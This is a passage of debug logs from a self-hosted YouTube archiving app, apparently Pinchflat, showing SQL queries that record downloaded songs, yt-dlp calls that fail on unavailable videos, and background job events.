'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:20:16.105 [debug] QUERY OK source="media_items" db=152.2ms idle=2.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-09-24 19:57:57Z], 2] 22:20:16.106 [debug] Replied in 322ms 22:20:16.106 [debug] QUERY OK source="media_items" db=154.9ms queue=0.2ms idle=61.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nIt's Okay (feat. Matt Baird) · Death Therapy · Matt Baird\n\nIt's Okay\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-29\n\nAuto-generated by YouTube.", "It's Okay (feat. Matt Baird)", "b98a71d7-a0c9-40d7-92d5-81223e3d6a04", false, "aBMcLtW4J1w", 221, false, "https://www.youtube.com/watch?v=aBMcLtW4J1w", 31, "/downloads/ChristianMetal/ChristianMetal/2019-03-28It's Okay (feat. Matt Baird)[aBMcLtW4J1w].m4a", false, false, 5, [], 1, ~U[2019-03-28 10:00:06Z], ~U[2026-07-24 02:20:15Z], ~U[2026-07-24 02:20:15Z], "Provided to YouTube by The Orchard Enterprises\n\nIt's Okay (feat. Matt Baird) · Death Therapy · Matt Baird\n\nIt's Okay\n\n℗ 2019 Solid State Records\n\nReleased on: 2019-03-29\n\nAuto-generated by YouTube.", "It's Okay (feat. Matt Baird)", "aBMcLtW4J1w", 221, false, "https://www.youtube.com/watch?v=aBMcLtW4J1w", "/downloads/ChristianMetal/ChristianMetal/2019-03-28It's Okay (feat. Matt Baird)[aBMcLtW4J1w].m4a", false, 5, ~U[2019-03-28 10:00:06Z]] 22:20:16.107 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=153.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:16.108 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=153.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:16.108 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [197] 22:20:16.108 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by IIP-DDS\n\nKing of Masquerade · Diviner\n\nRealms of Time\n\n℗ Ulterium Records\n\nReleased on: 2019-06-07\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "duration" => 251, "filename" => "/downloads/ChristianMetal/ChristianMetal/2019-06-06King of Masquerade[HQVfFP4_JO0].m4a", "id" => "HQVfFP4_JO0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HQVfFP4_JO0", "playlist_index" => 32, "timestamp" => 1559816651, "title" => "King of Masquerade", "upload_date" => "20190606"} 22:20:16.109 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:16.109 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:16.109 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-06-06 10:24:11Z], 5] 22:20:16.309 [debug] QUERY OK source="media_items" db=202.4ms queue=0.1ms idle=153.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by RCA/Legacy\n\nTake Me Home, Country Roads (Original Version) · John Denver\n\nPoems, Prayers and Promises\n\n℗ Originally released 1971. All rights reserved by RCA Records, a division of Sony Music Entertainment\n\nReleased on: 1971-04-06\n\nBackground Vocal: Fat City\nComposer, Vocal, Associated Performer, Guitar, Lyricist: John Denver\nComposer, Background Vocal, Lyricist: Bill Danoff\nBackground Vocal: Taffy Danoff\nGuitar: Mike Taylor\nSteel Guitar, Banjo: Eric Weissberg\nBass: Richard Kniss\nDrums: Gary Chester\nPiano: Frank Owens\nComposer, Lyricist: Taffy Nivert Danoff\nComposer, Lyricist: Mary Danoff\nProducer: Milton Okun\nRecording Engineer: Ray Hall\nAssistant Producer: Jean Kaplow\n\nAuto-generated by YouTube.", "Take Me Home, Country Roads (Original Version)", "89344b60-900f-4fcd-ab73-b52f10d998ef", false, "c0dvabcWVo0", 190, false, "https://www.youtube.com/watch?v=c0dvabcWVo0", 9, "/downloads/Classics/Classics/2015-09-24Take Me Home, Country Roads (Original Version)[c0dvabcWVo0].m4a", false, false, 2, [], 1, ~U[2015-09-24 19:57:57Z], ~U[2026-07-24 02:20:16Z], ~U[2026-07-24 02:20:16Z], "Provided to YouTube by RCA/Legacy\n\nTake Me Home, Country Roads (Original Version) · John Denver\n\nPoems, Prayers and Promises\n\n℗ Originally released 1971. All rights reserved by RCA Records, a division of Sony Music Entertainment\n\nReleased on: 1971-04-06\n\nBackground Vocal: Fat City\nComposer, Vocal, Associated Performer, Guitar, Lyricist: John Denver\nComposer, Background Vocal, Lyricist: Bill Danoff\nBackground Vocal: Taffy Danoff\nGuitar: Mike Taylor\nSteel Guitar, Banjo: Eric Weissberg\nBass: Richard Kniss\nDrums: Gary Chester\nPiano: Frank Owens\nComposer, Lyricist: Taffy Nivert Danoff\nComposer, Lyricist: Mary Danoff\nProducer: Milton Okun\nRecording Engineer: Ray Hall\nAssistant Producer: Jean Kaplow\n\nAuto-generated by YouTube.", "Take Me Home, Country Roads (Original Version)", "c0dvabcWVo0", 190, false, "https://www.youtube.com/watch?v=c0dvabcWVo0", "/downloads/Classics/Classics/2015-09-24Take Me Home, Country Roads (Original Version)[c0dvabcWVo0].m4a", false, 2, ~U[2015-09-24 19:57:57Z]] 22:20:16.310 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=200.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:16.311 [debug] QUERY OK source="media_profiles" db=0.5ms idle=201.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:16.312 [debug] QUERY OK source="media_items" db=0.6ms idle=202.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [46] 22:20:16.312 [debug] Current batch of media processed. Will check again in 1000ms 22:20:16.477 [debug] QUERY OK source="media_items" db=367.8ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by IIP-DDS\n\nKing of Masquerade · Diviner\n\nRealms of Time\n\n℗ Ulterium Records\n\nReleased on: 2019-06-07\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "King of Masquerade", "af3ef043-c196-4c07-b228-829789f0fa1e", false, "HQVfFP4_JO0", 251, false, "https://www.youtube.com/watch?v=HQVfFP4_JO0", 32, "/downloads/ChristianMetal/ChristianMetal/2019-06-06King of Masquerade[HQVfFP4_JO0].m4a", false, false, 5, [], 2, ~U[2019-06-06 10:24:11Z], ~U[2026-07-24 02:20:16Z], ~U[2026-07-24 02:20:16Z], "Provided to YouTube by IIP-DDS\n\nKing of Masquerade · Diviner\n\nRealms of Time\n\n℗ Ulterium Records\n\nReleased on: 2019-06-07\n\nArtist: Diviner\n\nAuto-generated by YouTube.", "King of Masquerade", "HQVfFP4_JO0", 251, false, "https://www.youtube.com/watch?v=HQVfFP4_JO0", "/downloads/ChristianMetal/ChristianMetal/2019-06-06King of Masquerade[HQVfFP4_JO0].m4a", false, 5, ~U[2019-06-06 10:24:11Z]] 22:20:16.478 [debug] QUERY OK source="sources" db=0.3ms idle=169.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:16.478 [debug] QUERY OK source="media_profiles" db=0.1ms idle=168.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:16.479 [debug] QUERY OK source="media_items" db=0.2ms idle=167.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [198] 22:20:16.479 [debug] Current batch of media processed. Will check again in 1000ms 22:20:16.580 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Vz4djMTVIoA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ac/41/ac4135a9365dfa662cb449805a3a74932a49db65db074b00df6269c9792335c1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Vz4djMTVIoA: Video unavailable. This video is not available 22:20:16.580 [error] yt-dlp download error for media item #184: "ERROR: [youtube] Vz4djMTVIoA: Video unavailable. This video is not available\n" 22:20:16.580 [error] yt-dlp download will not be retried: "ERROR: [youtube] Vz4djMTVIoA: Video unavailable. This video is not available\n" 22:20:16.691 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=YzokiD0V3NE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4d/fe/4dfe27f9af3bd5f810e80c23e90c217da3e342cc49ab45626a25fbe009d2f0cf.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] YzokiD0V3NE: Video unavailable. This video is not available 22:20:16.691 [error] yt-dlp download error for media item #187: "ERROR: [youtube] YzokiD0V3NE: Video unavailable. This video is not available\n" 22:20:16.691 [error] yt-dlp download will not be retried: "ERROR: [youtube] YzokiD0V3NE: Video unavailable. This video is not available\n" 22:20:16.756 [info] {"args":{"id":184},"id":190,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4040648,"event":"job:stop","queue_time":8307711,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:16.969 [info] {"args":{"id":187},"id":191,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4151517,"event":"job:stop","queue_time":5307711,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:17.124 [info] {"args":{"id":189},"id":193,"meta":{},"system_time":1784859617124210877,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:17.124 [info] {"args":{"id":190},"id":194,"meta":{},"system_time":1784859617124272229,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:20:17.124 [debug] QUERY OK source="media_items" db=0.2ms idle=645.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [189] 22:20:17.124 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:17.124 [debug] QUERY OK source="media_items" db=0.3ms idle=367.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [190] 22:20:17.125 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:20:17.125 [debug] QUERY OK source="sources" db=0.2ms idle=155.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:17.125 [debug] QUERY OK source="sources" db=0.2ms idle=155.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:17.125 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:17.125 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:17.126 [debug] QUERY OK source="media_items" db=0.3ms idle=0.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [189] 22:20:17.126 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [190] 22:20:17.126 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [189] 22:20:17.126 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:17.127 [debug] QUERY OK source="media_metadata" db=0.2ms idle=1.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [190] 22:20:17.127 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.127 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:17.127 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:17.127 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:17.128 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:17.128 [debug] QUERY OK source="settings" db=0.1ms 